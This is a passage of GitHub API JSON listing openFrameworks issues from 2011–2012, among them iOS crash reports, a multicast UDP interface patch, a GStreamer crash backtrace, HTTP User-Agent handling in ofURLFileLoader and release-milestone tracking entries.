bmp, fileName.c_str());","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/872","comments":1,"milestone":null,"number":872,"html_url":"https://github.com/openframeworks/openFrameworks/issues/872","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"saveImage crashes in iOS Simulator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-01-17T21:51:17Z","state":"open","user":{"url":"https://api.github.com/users/khlrqa","gravatar_id":"dfa7e4582a04e784d50c750ae51d894f","login":"khlrqa","avatar_url":"https://secure.gravatar.com/avatar/dfa7e4582a04e784d50c750ae51d894f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":53301},"id":2875276,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-01-07T15:38:14Z","body":"Hi -\r\n\r\nwhen it comes down to multicast communication over udp, it's is important that the correct ip address of the local interface is set. Most computers nowadays have several interfaces (wired and wireless). Whereas ofxUDPManager::BindMcast uses INADDR_ANY as the local address, this might be wrong if you are not using the default interface. In my case, I connect the computers in a local wlan. The wlan device is not the primary device on my machine.\r\n\r\nTherefore I rewrote the BindMcast function adding a third argument pLocal, the local Ip address of the network interface.\r\n\r\n```c++\r\nbool ofxUDPManager::BindMcast(char *pMcast, unsigned short usPort, char *pLocal)\r\n```\r\nchanging the line: \r\n\r\n```c++\r\nmreq.imr_interface.s_addr = pLocal == \"\" ? INADDR_ANY: inet_addr(pLocal);\r\n```\r\n\r\nwhich makes a different header file as well:\r\n\r\n```c++\r\nbool BindMcast(char *pMcast, unsigned short usPort, char *pLocal = \"\");\r\n```\r\n\r\nAs you can see, the pLocal Adress is optional, if omitted, INADDR_ANY is used (backwards compatibility).\r\n\r\n\r\nNOTE:\r\n\r\nI've added the function:\r\n\r\n```c++\r\nchar* GetInterfaceAddr(const char* interface); //returns the IP of a specified interface\r\n```\r\n\r\nto the ofxUDPManager as well. This function returns the IP adress of an interface (e.g. en1 on a mac for the airport device). This is useful in dhcp networks, where your own address always changes. The function itself looks like:\r\n\r\n```c++\r\n//--------------------------------------------------------------------------------\r\nchar* ofxUDPManager::GetInterfaceAddr(const char* interface)\r\n{\r\n\tint fd;\r\n\tstruct ifreq ifr;\r\n\tfd = socket(AF_INET, SOCK_DGRAM, 0);\r\n\tifr.ifr_addr.sa_family = AF_INET;\r\n\tstrncpy(ifr.ifr_name, interface, IFNAMSIZ-1);\r\n\tioctl(fd, SIOCGIFADDR, &ifr);\r\n\tclose(fd);\r\n\treturn(inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr));\r\n}\r\n```\r\n\r\nPlease not that for this function, additional headers have to be included in ofxUDPManager.h:\r\n\r\n```c++\r\n#include \r\n```\r\n\r\nIf you consider the changes useful, theres a copy of the two files downloadable here:\r\nhttp://dl.dropbox.com/u/394122/ofxUDPManager_uh_07012012.zip\r\n\r\nregards,\r\nUrs Hofer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/866","comments":0,"milestone":null,"number":866,"html_url":"https://github.com/openframeworks/openFrameworks/issues/866","assignee":null,"title":"Multicast & UDP: Local IP required when dealing with multiple network interfaces","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-01-07T15:38:14Z","state":"open","user":{"url":"https://api.github.com/users/urshofer","gravatar_id":"0424af1c917883090f0edddf55a8f21b","login":"urshofer","avatar_url":"https://secure.gravatar.com/avatar/0424af1c917883090f0edddf55a8f21b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":116976},"id":2756440,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"I've posted here\r\nhttp://forum.openframeworks.cc/index.php/topic,8467.new.html\r\n\r\nAt the moment when you do sample.unloadSound() on iOS the app crashes with\r\n\r\n[Switching to thread 13059]\r\n[Switching to thread 13059]\r\nProgram received signal: “EXC_BAD_ACCESS”.\r\nwarning: Unable to read symbols for /Developer/Platforms/iPhoneOS.platform/DeviceSupport/4.2.1 (8C148)/Symbols/Developer/usr/lib/libXcodeDebuggerSupport.dylib (file not found).\r\n\r\n\r\nThis has been tested on the soundPlayerExample.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/863","comments":1,"milestone":null,"number":863,"html_url":"https://github.com/openframeworks/openFrameworks/issues/863","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"unloadSound on iOS crashes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-03T12:48:09Z","state":"open","user":{"url":"https://api.github.com/users/chrisoshea","gravatar_id":"62d775b0fa28bcde2d9d29405d059be3","login":"chrisoshea","avatar_url":"https://secure.gravatar.com/avatar/62d775b0fa28bcde2d9d29405d059be3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":104786},"id":2710048,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:38:16Z","body":"ofxsynth doesn't wont to compile because this line:\r\nsource->audioOut( working, numFrames, numChannels, tickCount ) in ofxSoundUnit.cpp is wrong.\r\nthe canddates are:\r\n\r\nvirtual void audioOut( float * output, int bufferSize, int nChannels, int deviceID, long unsigned long tickCount )\r\nvirtual void audioOut( float * output, int bufferSize, int nChannels)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/861","comments":10,"milestone":null,"number":861,"html_url":"https://github.com/openframeworks/openFrameworks/issues/861","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"ofxSynth semantic issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-01-02T11:14:47Z","state":"open","user":{"url":"https://api.github.com/users/viniciolindo","gravatar_id":"7aa1a7f9bf0b838c0d99886c3682ac5d","login":"viniciolindo","avatar_url":"https://secure.gravatar.com/avatar/7aa1a7f9bf0b838c0d99886c3682ac5d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1298679},"id":2700549,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-03T19:40:34Z","body":"ofPixels has getPixels(), but OF has no equivalent getSamples() for sound.\r\n\r\nright now the best solution seems to be using libsndfile with OF http://forum.openframeworks.cc/index.php/topic,3502.0.html\r\n\r\nbut i would love to see the audio architecture for OF mirror the visual architecture better. this means ofSoundPlayer acts like ofVideoPlayer, and we need to add an ofSound object that mirrors ofPixels. ofSound should always store samples in memory, while ofSoundPlayer can stream audio from disk like ofVideoPlayer.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/856","comments":1,"milestone":null,"number":856,"html_url":"https://github.com/openframeworks/openFrameworks/issues/856","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"allow access to individual sound samples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-12-30T02:33:19Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2685556,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-29T04:43:24Z","body":"Today I came across this strange bug.\r\nAny OF app that needed to use the quicktime video grabber crashed at startup when the this was launched from xcode (eg. using build and run) yet it worked correctly when I opened the compiled app by doubleclicking it.\r\n\r\nThe error thrown was a EXCBADACCESS.\r\nthe function that threw this was ACWma1DecoderEntry\r\n\r\nJust some googling and I found that it had to do with Flip4Mac quicktime component.\r\nI uninstalled it and problem gone.\r\n\r\nThe strange thing is that I've had installed Flip4Mac since long ago, yet I updated iTunes a few days ago, that might have done this problem to arise.\r\n\r\nI don't know if this is actually an OF bug from its Quicktime implementation or what ever but it was really annoying getting across with it. Hope this helps others.\r\n\r\nCheers!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/855","comments":0,"milestone":null,"number":855,"html_url":"https://github.com/openframeworks/openFrameworks/issues/855","assignee":null,"title":"video Grabber crashes with Flip4Mac","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-12-29T04:43:24Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":974878},"id":2677212,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-23T14:13:39Z","body":"ofNode::resetTransform only resets orientation and position.\r\n\r\nI think setScale(1,1,1); needs to be called too in ofNode::resetTransform \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/851","comments":0,"milestone":null,"number":851,"html_url":"https://github.com/openframeworks/openFrameworks/issues/851","assignee":null,"title":"ofNode::resetTransform does not reset scale","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-12-23T14:13:39Z","state":"open","user":{"url":"https://api.github.com/users/companje","gravatar_id":"30a7e135fe77636519d74d129c60e156","login":"companje","avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":156066},"id":2647508,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-22T14:31:37Z","body":"if I add an external lib to my addon, I should provide headers for all platforms to be cross-platfomr like OF but the Makefile doesn't have any switch to ignore certain files which are not needed on linux.\r\n\r\nthe problem is that the OF Makefile compiles everythin under libs/mylib/include\r\n\r\nsee here for more: http://forum.openframeworks.cc/index.php?topic=6486.new;topicseen#new","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/849","comments":0,"milestone":null,"number":849,"html_url":"https://github.com/openframeworks/openFrameworks/issues/849","assignee":null,"title":"skip files in an addon with Makefile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-12-22T14:31:37Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":2637694,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-19T22:35:27Z","body":"But it does!\r\n\r\nSomehow it's casting from float to ofPoint, maybe using the ofVec3f( float _x=0.f, float _y=0.f, float _z=0.f ) constructor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/846","comments":10,"milestone":null,"number":846,"html_url":"https://github.com/openframeworks/openFrameworks/issues/846","assignee":null,"title":"ofCircle(float, float) should not work","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-12-14T00:42:31Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2546302,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-10T21:25:49Z","body":"Please add \"-Wreturn-type\" to the XCode project. I've noticed that it's a common mistake to add a return type but nothing is returned. Adding this option will at least show an error. I think Visual Studio shows an error already by default. You can add it like this in the project settings: http://img805.imageshack.us/img805/8745/screenshot20111210at102.png \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/843","comments":0,"milestone":null,"number":843,"html_url":"https://github.com/openframeworks/openFrameworks/issues/843","assignee":null,"title":"Add return-type warning for XCode project files ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-12-10T21:25:49Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":2512838,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-31T19:36:40Z","body":"Playing a movie crashes on exit on linux. Fedora 16 32-bit, latest git.\r\n\r\noutput:\r\n./moviePlayerExample\r\ndeleting video player\r\nterminate called after throwing an instance of 'Poco::SystemException'\r\n what(): System exception\r\nAborted (core dumped)\r\n\r\nbacktrace:\r\n#0 0x00110416 in __kernel_vsyscall ()\r\n#1 0x4623998f in raise () from /lib/libc.so.6\r\n#2 0x4623b2d5 in abort () from /lib/libc.so.6\r\n#3 0x46a9b74d in __gnu_cxx::__verbose_terminate_handler() ()\r\n from /usr/lib/libstdc++.so.6\r\n#4 0x46a994c4 in ?? () from /usr/lib/libstdc++.so.6\r\n#5 0x46a99500 in std::terminate() () from /usr/lib/libstdc++.so.6\r\n#6 0x46a9964f in __cxa_throw () from /usr/lib/libstdc++.so.6\r\n#7 0x08098bef in Poco::MutexImpl::lockImpl (this=0x814eb48)\r\n at /usr/include/Poco/Mutex_POSIX.h:82\r\n#8 0x08098d07 in Poco::FastMutex::lock (this=0x814eb48)\r\n at /usr/include/Poco/Mutex.h:257\r\n#9 0x0809907d in Poco::ScopedLock::ScopedLock (this=\r\n 0xbfffeabc, mutex=...) at /usr/include/Poco/ScopedLock.h:59\r\n#10 0x0809a340 in Poco::AbstractEvent, Poco::p_less > >, Poco::AbstractDelegate, Poco::FastMutex>::operator-=\r\n (this=0x814eb10, aDelegate=...) at /usr/include/Poco/AbstractEvent.h:195\r\n#11 0x080d40c5 in ofRemoveListener, ofEventArgs, ofGstUtils> (event=..., listener=0x82698e0, listenerMethod=\r\n (void (ofGstUtils::*)(ofGstUtils * const, ofEventArgs &)) 0x80d27b4 ) at ../../../openFrameworks/events/ofEventUtils.h:87\r\n#12 0x080d25be in ofGstUtils::close (this=0x82698e0)\r\nat ../../../openFrameworks/video/ofGstUtils.cpp:353\r\n#13 0x080d175e in ofGstUtils::~ofGstUtils (this=0x82698e0, \r\n __in_chrg=)\r\n at ../../../openFrameworks/video/ofGstUtils.cpp:85\r\n#14 0x080d32c4 in ofGstVideoUtils::~ofGstVideoUtils (this=0x82698d8, \r\n __in_chrg=)\r\n at ../../../openFrameworks/video/ofGstUtils.cpp:536\r\n#15 0x080d06ff in ofGstVideoPlayer::~ofGstVideoPlayer (this=0x82698b8, \r\n __in_chrg=, __vtt_parm=)\r\n at ../../../openFrameworks/video/ofGstVideoPlayer.cpp:19\r\n#16 0x080d07d9 in ofGstVideoPlayer::~ofGstVideoPlayer (this=0x82698b8, \r\n __in_chrg=, __vtt_parm=)\r\n at ../../../openFrameworks/video/ofGstVideoPlayer.cpp:21\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/840","comments":3,"milestone":null,"number":840,"html_url":"https://github.com/openframeworks/openFrameworks/issues/840","assignee":null,"title":"ofGstVideoPlayer crash on exit","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2011-12-08T11:53:55Z","state":"open","user":{"url":"https://api.github.com/users/gaborpapp","gravatar_id":"9cb0f8a67c238d2aa91d9a7957b9ef4b","login":"gaborpapp","avatar_url":"https://secure.gravatar.com/avatar/9cb0f8a67c238d2aa91d9a7957b9ef4b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":203532},"id":2486705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T12:30:53Z","body":"right now the only way to change the type of pixels is to go through ofImage and set image type there.\r\n\r\nseems like this should be moved into ofPixels.\r\n\r\nthoughts?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/838","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":838,"html_url":"https://github.com/openframeworks/openFrameworks/issues/838","assignee":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"title":"ofPixels has no setImageType","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-12-07T16:30:59Z","state":"open","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"id":2476561,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:44:08Z","body":"I made a small example which uses the Wikipedia xml api to make queries which are then parsed by an ofXmlSettings object. The problem is Wikipedia complains there is no User-Agent string and dosen't return any data, while threatening to block by IP.\r\n\r\nThe fix was as simple as adding this to ofURLFileLoader.cpp line 144:\r\n
\r\n\t\tHTTPRequest req(HTTPRequest::HTTP_GET, path, HTTPMessage::HTTP_1_1);\r\n        \treq.add(\"User-Agent\", \"Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405\");\r\n
\r\n\r\nIt uses the iOS safari user agent string. I think the best fix is to expose the HTTPRequest and HTTPResponse Poco objects so that, like in the ofxHttpUtils, you could add manually the string/value to the request before sending it. I don't think it should be set ti a default within the class. Also, it would be awesome to be able to add data into and pull data out of the requests. This is a great wrapper, especially the threading, I'd just like to have the full req/response control ... perhaps provide a method to add Poco::HttpRequests and recieve Poco::HttpResponses which could be set as references inside the ofxHttpRequest/ofxHttpResponse objects?\r\n\r\nOn another note, ofURLFileLoader seems like a rather specific name for a regular HTTP action. What's wrong with ofHttpSession etc since I've found it useful for more then just","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/837","comments":0,"milestone":null,"number":837,"html_url":"https://github.com/openframeworks/openFrameworks/issues/837","assignee":null,"title":"ofURLFileLoader dosen't set HTTP User-Agent string and there is no way to set it","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-12-05T21:44:08Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2455011,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-04T00:08:35Z","body":"Dummy issue to ensure that the 0073 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/836","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":836,"html_url":"https://github.com/openframeworks/openFrameworks/issues/836","assignee":null,"title":"0073 Release tracking issue","labels":[],"closed_at":null,"created_at":"2011-12-04T00:08:35Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2439965,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T09:03:22Z","body":"Not sure if is an issue or im doing wrong.\r\n\r\nIm trying to implement dragEvent() in an external class in windoes 7. I'm getting neither an error nor a response nor result. While debugging dragEvent is not called at all. The same code works perfectly on osx. \r\n\r\nhere's some:\r\n\r\ndummy.h\r\n\r\n\t#include \"ofMain.h\"\r\n\r\n\tclass dummy\r\n\t{\r\n\t\tpublic:\r\n\t\t\tdummy();\r\n\t\t\t~dummy();\r\n\t\t\t\t\t\r\n\t\t\tvoid config();\r\n\t\t\tvoid dragEvent(ofDragInfo &info);\r\n\t\t\t\r\n\t\tprivate:\r\n\t\tprotected:\r\n\t\t\r\n\t};\r\n\r\ndummy.cpp\r\n\r\n\t#include \"dummy.h\"\r\n\r\n\tdummy::dummy(){}\r\n\r\n\tdummy::~dummy(){}\r\n\r\n\tvoid dummy::config(){\r\n\t\tofAddListener(ofEvents.fileDragEvent, this, &dummy::dragEvent);\r\n\t}\r\n\r\n\tvoid dummy::dragEvent(ofDragInfo &info){\r\n\t\tfor( int i = 0; i < info.files.size() ; i++){\r\n\t\t\tcout << \"path: \" << info.files[i] << endl;\r\n\t\t}\r\n\t}\r\n\r\n\r\ntesApp.h\r\n\r\n\t#include \"ofMain.h\"\r\n\t#include \"dummy.h\"\r\n\r\n\r\n\tclass testApp : public ofBaseApp{\r\n\r\n\t\tpublic:\r\n\t\t\tvoid setup();\r\n\t\t\tvoid update();\r\n\t\t\tvoid draw();\r\n\r\n\t\t\tvoid keyPressed (int key);\r\n\t\t\tvoid keyReleased(int key);\r\n\t\t\tvoid mouseMoved(int x, int y );\r\n\t\t\tvoid mouseDragged(int x, int y, int button);\r\n\t\t\tvoid mousePressed(int x, int y, int button);\r\n\t\t\tvoid mouseReleased(int x, int y, int button);\r\n\t\t\tvoid windowResized(int w, int h);\r\n\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\t\r\n\t\t\tdummy d;\r\n\r\ntestApp.cpp\r\n\r\n\t#include \"testApp.h\"\r\n\r\n\tvoid testApp::setup(){\r\n\t\td.config();\r\n\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/831","comments":0,"milestone":null,"number":831,"html_url":"https://github.com/openframeworks/openFrameworks/issues/831","assignee":null,"title":"dragEvent() in new class not working in win7","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-12-03T08:51:42Z","state":"open","user":{"url":"https://api.github.com/users/decolector","gravatar_id":"7165a50ea8df968de57ffb5a27ba6ebc","login":"decolector","avatar_url":"https://secure.gravatar.com/avatar/7165a50ea8df968de57ffb5a27ba6ebc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":390056},"id":2436532,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-02T16:28:49Z","body":"Dummy issue to ensure that the 0072 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/829","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":829,"html_url":"https://github.com/openframeworks/openFrameworks/issues/829","assignee":null,"title":"0072 Release tracking 